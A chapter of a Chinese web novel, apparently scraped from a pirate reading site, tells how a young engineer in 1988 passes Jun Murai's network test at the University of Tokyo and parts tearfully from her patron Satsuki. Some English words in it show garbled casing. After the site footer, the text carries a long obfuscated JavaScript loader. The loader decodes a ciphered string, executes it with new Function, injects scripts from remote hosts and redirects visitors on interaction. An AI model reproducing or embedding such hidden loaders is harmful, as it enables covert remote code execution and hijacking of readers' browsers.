第128章 成长的代价
第128章成长的代价(第1/2页)
一九八八年十一月一日。
东京大学,本乡校区。
这里是日本学术界的心脏,也是一座由红砖与混凝土构筑的迷宫。深秋的风卷着枯黄的银杏叶,在安田讲堂前的广场上打着旋儿。
理学部大楼的深处,并没有外面那种令人沉醉的学院派浪漫。
大型计算中心。
厚重的防爆隔音门将外界的一切喧嚣彻底隔绝。恒温空调系统全功率运转,喷吐着令人毛孔收缩的冷气,空气中弥漫着除静电剂那种略带酸涩的化学气味,以及无数散热风扇高速旋转时产生的焦糊味。
这里没有窗户。
数排巨大的、漆黑的机柜像墓碑一样矗立在光洁的防静电地板上。那是日立制作所引以为傲的HITACM-680H大型主机,它们闪烁着红绿相间的指示灯,磁带机转动时发出单调而催眠的“沙沙”声,仿佛某种巨兽沉重的呼吸。
铃木艾米站在机房门口,下意识地拉紧了身上的衣领。
她今天穿着一件S-COlleCtiOn尚未发布的职业线样衣——一件剪裁极其合体、面料挺括的崭新白大褂。雪白的布料在惨白的日光灯下反射着冷光,内衬是高支数的丝绸衬衫,领口系着整齐的温莎结。
这身行头,与周围那些穿着格子衬衫、头发蓬乱、眼窝深陷的博士生们格格不入。
倒也不是艾米想要特意打扮什么的,跟以前在皋月身边的日子比起来,现在这身穿搭已经是她能找到的最简单的样式了,但在这群理工科生中还是显得非常的与众不同。
几个正抱着打印纸匆匆路过的研究员停下脚步,用一种混杂着困惑与排斥的眼神打量着这个闯入者。在这个充斥着男性荷尔蒙与代码臭味的象牙塔尖,一个妆容精致、衣着考究的大小姐,就像是误入狼群的波斯猫。
艾米没有理会那些目光。她推了推鼻梁上的眼镜,深吸了一口气,迈步向机房深处走去。
皮鞋踩在架空地板上,发出空洞的“咚、咚”声。
在那排机柜的尽头,几台SUn工作站散乱地摆放在一张长桌上,各种颜色的网线像是一团乱麻,纠缠在桌腿和椅背之间。
一个男人正背对着门口,坐在一把转椅上,手里拿着一罐喝了一半的咖啡。
村井纯。
这位三十三岁的东大助手,日后被称为“日本互联网之父”的男人,此刻看起来并没有半点学者的威严。他穿着一件领口洗得有些变形的T恤,脚上踩着一双凉鞋,正盯着屏幕上的一串报错代码发呆。
“那个……”
艾米的声音在巨大的机器轰鸣声中显得有些单薄。
“我是来参加测试的。”
村井纯转过身。
他的目光透过厚厚的镜片,在艾米那件崭新的白大褂上停留了一秒。
“铃木艾米?”
他随手将空咖啡罐捏扁,扔进脚边的垃圾桶,“哐当”一声。
“听说你在美国待过,见过思科的那群疯子?”
“是的。”艾米点了点头,双手抓紧了衣角,“我是他们在亚洲的测试员。”
“名头不小。”
村井纯站起身。他指了指那台屏幕正在闪烁的工作站,又指了指身后那一排沉默的大型机。
“现在,这台SUn工作站连不上JUNET(日本大学网)的主节点。数据包在网关处大量丢失,延迟高得要命。”
他从口袋里掏出一支粉笔,转身在一块移动黑板上画了一个简陋的拓扑图,然后重重地画了一个叉。
“学院派的那帮老头子还在争论OSI七层模型和TCP/IP谁才是正统,他们要求我写出一套完美的协议栈,既要兼容日立的主机,又要兼容富士通的终端。”
村井纯扔掉粉笔,拍了拍手上的灰,那双锐利的眼睛直视着艾米。
“我不要完美的论文。我要它通畅。现在。”
“这就是测试。”
此话一出,周围的几个研究生顿时发出了低微的议论声。
不是说这人是走后门的吗?怎么还出个无解的难题,难道说这个女孩的后台还不够硬?
这是一个在当时看来几乎无解的工程灾难。不同的硬件架构,不同的操作系统,臃肿的协议层,加上那根细得可怜的电话线带宽。要在这种条件下实现流畅的数据交换,简直是让大象去跳芭蕾。
有人开始在草稿纸上推导排队论公式,试图证明当前带宽下的拥堵是不可避免的物理现象。
艾米没有动。
她站在那里,看着那团乱麻一样的线缆,看着屏幕上不断跳出的“ReqUeStTimedOUt”。
在那一瞬间,她仿佛不再身处东大这座冰冷的神殿,而是回到了加州那个充斥着披萨味和猫毛的车库,回到了那个莱恩·博萨克为了省钱而用极其粗暴的方式魔改路由器的午后。
“只要能跑起来……”
她喃喃自语。
艾米走向那台工作站,拉开椅子坐下。
她没有去拿旁边的参考书,也没有去管那些所谓的“标准协议”。
双手悬在键盘上方,停顿了一秒。
然后,落下。
“噼里啪啦——”
清脆的敲击声骤然响起,频率快得惊人,像是一场急促的阵雨。
她调出了底层的网络配置,开始疯狂地删减代码。
砍掉冗余的校验位。
忽略掉那些为了“严谨”而设置的握手确认。
修改TCP窗口大小,让数据包像洪水一样强行灌入,不给网络喘息的机会。
丢包?那就丢吧。
乱序?到了终点再重组。
这是一种粗暴、野蛮、充满了“美国西海岸匪帮气息”的逻辑。它不优雅,甚至可以说是肮脏,但它只有一个目的——连接。
不管你是日立还是富士通,在数据流面前,众生平等。
时间被切割成了一行行幽绿色的C语言代码,在黑色的CRT屏幕上飞速上涌。
机房里除了大型机沉闷的嗡鸣,只剩下艾米敲击键盘时那近乎暴躁的“噼啪”声。
她没有去碰那些厚重的参考书,而是直接调出了UNIX系统的内核源代码。光标在vi编辑器中飞速跳动,删除了标准协议栈中那些冗余的校验逻辑。
StrUCtSOCkaddr_in……bind()……iOCtl……
她正在做一件让在场所有学院派博士生都会心脏骤停的事——她绕过了标准的TCP拥塞控制算法,直接修改了底层的滑动窗口大小(WindOWSiZe)。
为了适应那根细弱的电话线,她甚至写了一个原始套接字(RaWSOCket)脚本,强行抓取调制解调器那微弱的载波信号,把数据包像子弹一样压进缓冲区,根本不给网络“喘息”和“握手”的机会。
SUn工作站的散热风扇开始狂转,发出不堪重负的啸叫,机箱温度急剧升高。
屏幕上,编译器的进度条在缓慢爬升,跳出一连串刺眼的黄色“Warning”。
艾米看都没看一眼。在硅谷的车库哲学里,只要没有“ErrOr”,警告就是废话。
一个小时后。
回车。
艾米重重地按下了那个键。
屏幕瞬间黑了一下,然后,一行行绿色的数据流开始疯狂地滚动,速度越来越快,最终连成了一片绿色的瀑布。
原本阻塞的传输曲线,瞬间拉升成一条昂首向上的直线。
Ping值:200mS……100mS……50mS。
通了。
不仅通了,而且快得不可思议。
站在艾米身后的几个研究生张大了嘴巴,像是看到了鬼。
村井纯不知何时已经站在了艾米的身后。他抱着手臂,盯着屏幕上那些虽然丑陋但极其高效的代码,镜片反射着幽幽的绿光。
“很脏。”
他开口道,声音沙哑。
“充满了投机取巧,完全不符合学术规范。如果写成论文,会被那帮教授骂得狗血淋头。”
艾米的手指僵硬地停在键盘上。她转过身,有些紧张地看着这位考官,额头上渗出了一层细密的汗珠。
“但是……”
村井纯推了推眼镜,嘴角露出一丝玩味的笑容。
“它能跑。”
“在这个连电子邮件都发不出去的荒原上,我们需要的就是这种能跑起来的野路子。”
(本章未完,请点击下一页继续阅读)第128章成长的代价(第2/2页)
他从那件皱巴巴的T恤口袋里,掏出了一张磁卡。
东京大学大型计算中心的一级通行证。
“啪。”
磁卡被扔在了艾米手边的桌子上,发出清脆的声响。
“欢迎加入WIDE项目,铃木研究员。”
村井纯转身走向那一堆服务器,背对着艾米挥了挥手。
“这里只有无尽的加班和未知的BUg。另外……下次来的时候,别穿这么贵的衣服。这里的静电会毁了它的。”
……
黄昏。
本乡通的银杏大道被夕阳染成了金红色。
下课的学生们骑着自行车,按着铃铛,三三两两地从赤门涌出,谈论着晚饭去哪家食堂,或者周末的联谊。
艾米抱着那个黑色的笔记本电脑,站在路边。
深秋的风有些凉,吹透了她那件单薄的白大褂,但她的脸却是烫的。
她手里紧紧攥着那张磁卡,指腹无意识地摩挲着上面凸起的编号。
我真的做到了!皋月酱会不会高兴呢?我没有让她失望……
“嘎吱——”
一辆黑色的日产总统轿车无声地滑过路面,稳稳地停在她面前。
后座的车窗降下一半。
露出一张精致得如同能剧面具般的侧脸。
“皋月酱!”
艾米几乎是小跑着冲了过去,完全不顾周围学生诧异的目光。
藤田刚已经下车拉开了车门。
艾米钻进车厢,一股暖意和淡淡的香味扑面而来,瞬间驱散了计算中心那种冰冷的机油味。
啊……是皋月酱的味道,喜欢……
“我拿到了!你看!”
她像是一只向主人献宝的金毛犬,迫不及待地将那张磁卡举到皋月面前,眼睛亮晶晶的,充满了求表扬的期待。
“村井教授收下我了!他说我的代码虽然脏,但是能跑!”
皋月正低头看着膝盖上的一份文件。
那份文件的封皮上印着鲜红的“极密”字样,下面是一行小字:【关于邮政省电信业务管制的修正案草稿】。
听到艾米的声音,她合上文件,随手递给前排的藤田。
然后,她转过头。
那双黑曜石般的眸子注视着艾米,脸上露出了一个温柔的、仿佛能包容一切的微笑。
“辛苦了。”
皋月伸出手。
她并没有去接那张磁卡,而是伸出温热的指尖,轻轻擦了擦艾米脸颊上一块不起眼的油墨印记。
指腹划过皮肤的触感,让艾米浑身过电般地颤栗了一下。
“唔……”
“我就知道你可以。”
皋月拿出一块洁白的手帕,仔细地擦拭着,动作轻柔得像是在擦拭一件昂贵的瓷器。
“在我心里,你是全日本最天才的工程师。那个村井纯如果拒绝你,那是东大的损失。”
接着,她从车载保温箱里取出了一罐温热的皇家奶茶。
“咔哒。”
拉环被拉开,白色的热气冒了出来。
“给。”
艾米接过奶茶,双手捧着,感受着铝罐传来的温度。
开口的奶茶传来一阵浓郁的甜香,那是她最喜欢的、糖分超标的味道。皋月酱一直都记得。
巨大的幸福感包围了她,让她想就这样缩在这个温暖的车厢里,永远不出去。
“既然这里的门已经打开了……”
皋月的声音依然温柔,却突然带上了一丝不易察觉的凉意。
她侧过头,透过深色的车窗,看向窗外那些穿着制服、结伴而行的普通高中生。
“那么,从明天开始,这辆车就不会再来接你了。”
“咳……咳咳!”
艾米被奶茶呛了一下,猛地抬起头,惊恐地看着皋月。
“哎?不……不来接我?那,那我们在学校见?”
“你忘了吗?你要来东大学习了哦?”
皋月转过头,理了理自己领口那墨绿色的丝带。她今天穿着圣华的制服,那是属于另一个世界的装束。
“你是东大的特别研究员了。WIDE项目刚刚启动,村井纯是个疯子,他会要求你没日没夜地泡在机房里。”
“而我……”皋月的眼神平静,“我要去应付那些大小姐们的茶会,去维护那个名为‘蔷薇会’的无聊圈子。放学后,我还要去赤坂,去银座。”
“我们的时间表,会彻底错开。”
“啪嗒。”
艾米手里的奶茶罐晃了一下,几滴褐色的液体溅在了她崭新的白大褂上。
她当然知道。
从皋月带她去美国,从皋月让她看那些晦涩的技术文档开始,她就隐约猜到了。
自己是被选中的“特例”。
特例,注定是孤独的。
“我知道的……”
艾米低下头,手指无意识地抠着奶茶罐的边缘,声音闷闷的。
“我也想一直粘着皋月酱,想和你一起在天台上吃午饭,想在放学的时候等你……”
那种酸涩的情绪涌上来,眼眶有些发热。
“但是,那样不行。”
她吸了吸鼻子,抬起头。虽然眼角红红的,但眼神里却透着一股倔强。
“如果我只做那些事,我就只是一个普通的跟班。那样的人,到处都是。”
“我想帮上忙。我想成为……对皋月酱来说,‘不可替代’的人。”
皋月看着她。
那个曾经在教室里瑟瑟发抖、被人嘲笑有焊锡味的女孩,如今已经学会了自己擦干眼泪,学会了为了目标而忍受孤独。
“过来。”
皋月张开双臂。
艾米再也忍不住,扑进了皋月的怀里。
她把脸埋在皋月那件带有淡雅香气的制服里,贪婪地呼吸着属于皋月的气息。
“我会很想你的……”艾米的声音闷在衣服里,带着哭腔,“实验室里好冷,那些机器也好吵,那个教授也好凶……”
“忍耐一下。”
皋月的手指穿过艾米的短发,轻轻地、有节奏地抚摸着,像是在安抚一只即将远行的家猫。
“这是为了未来。”
皋月的声音低沉而温柔,带着一种令人沉沦的魔力,就像恶魔许下了诺言。
“艾米,你要替我钉在这里。钉在这个日本互联网的源头。”
“当我在那些虚伪的舞会上假笑的时候,当我在满是铜臭味的会议室里谈判的时候,我需要知道……”
她捧起艾米的脸,大拇指温柔地拭去眼角的泪痕。
“在这个城市的某个角落,有一双最锐利的眼睛,正在替我盯着未来。”
“等我们把这张网铺开的时候,等整个东京都在我们的网络上运行的时候……”
“那时候,你就再也不用离开我了。”
“真的吗?”艾米看着那双深邃的黑瞳,像是看着信仰。
“我从不骗你。”
皋月微笑着,额头轻轻抵着艾米的额头。
“你是我的技术顾问。这是终身职。”
“嗯!”
艾米用力点了点头。
那点淡淡的忧伤,被这句“终身职”转化为了某种滚烫的动力。
……
车门打开。
艾米走下车,站在东大赤门的路灯下。
深秋的晚风卷起地上的落叶,吹动着她那件沾了奶茶渍的、崭新的白大褂。
“砰。”
车门关上。
黑色的轿车启动,红色的尾灯在暮色中拉出一道流光,汇入东京繁华的车流,向着那个纸醉金迷的名利场驶去。
那是属于皋月的战场。
艾米手里紧紧攥着那张磁卡和半罐温热的奶茶。
她没有再回头,也没有再流泪。
她转过身,面对着身后那座漆黑且庞大、如巨兽般的东京大学大型计算中心。
那里没有红茶,也没有拥抱。
但那里有通往皋月身边的路。
“我要变强……”
她喃喃自语,咬紧了嘴唇。
路灯将她的影子拉得很长。
少女迈开步子,一步步走向黑暗深处。
一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();